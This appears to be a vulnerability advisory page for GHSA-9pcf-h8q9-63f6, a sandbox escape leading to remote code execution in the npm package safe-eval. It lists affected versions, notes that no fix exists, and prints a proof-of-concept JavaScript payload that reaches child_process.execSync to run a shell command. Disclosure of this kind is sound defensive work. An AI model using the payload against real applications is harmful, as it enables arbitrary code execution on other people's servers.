GHSA-9pcf-h8q9-63f6 Sandbox Breakout / Arbitrary Code Execution in safe-eval
Attackers can escape the sandbox and execute arbitrary code via crafted payloads in the safe-eval library.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- None listed
What is GHSA-9pcf-h8q9-63f6?
GHSA-9pcf-h8q9-63f6 is a code injection vulnerability in safe-eval, published on 3 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.
For example, the payload
((() => {
const targetKey = Object.keys(this)[0];
Object.defineProperty(this, targetKey, {
get: function() {
return arguments.callee.caller.constructor(
"return global.process.mainModule.require('child_process').execSync('pwd').toString()"
)();
}
});
})();```
may be used to print the `pwd` to the console.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
Which versions are affected by GHSA-9pcf-h8q9-63f6?
2 open source packages ship an affected version, including safe-eval.
| Package | Affected | Fixed in |
|---|---|---|
safe-eval npm | From 0.0.0 | None |
safe-eval npm | From 0.0.0 | None |
How do I fix GHSA-9pcf-h8q9-63f6?
No fix has been published for GHSA-9pcf-h8q9-63f6 yet. Limit exposure of the affected software until one is available.
Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.
Is GHSA-9pcf-h8q9-63f6 being exploited?
There is no known exploitation of GHSA-9pcf-h8q9-63f6 in the wild and no public exploit code.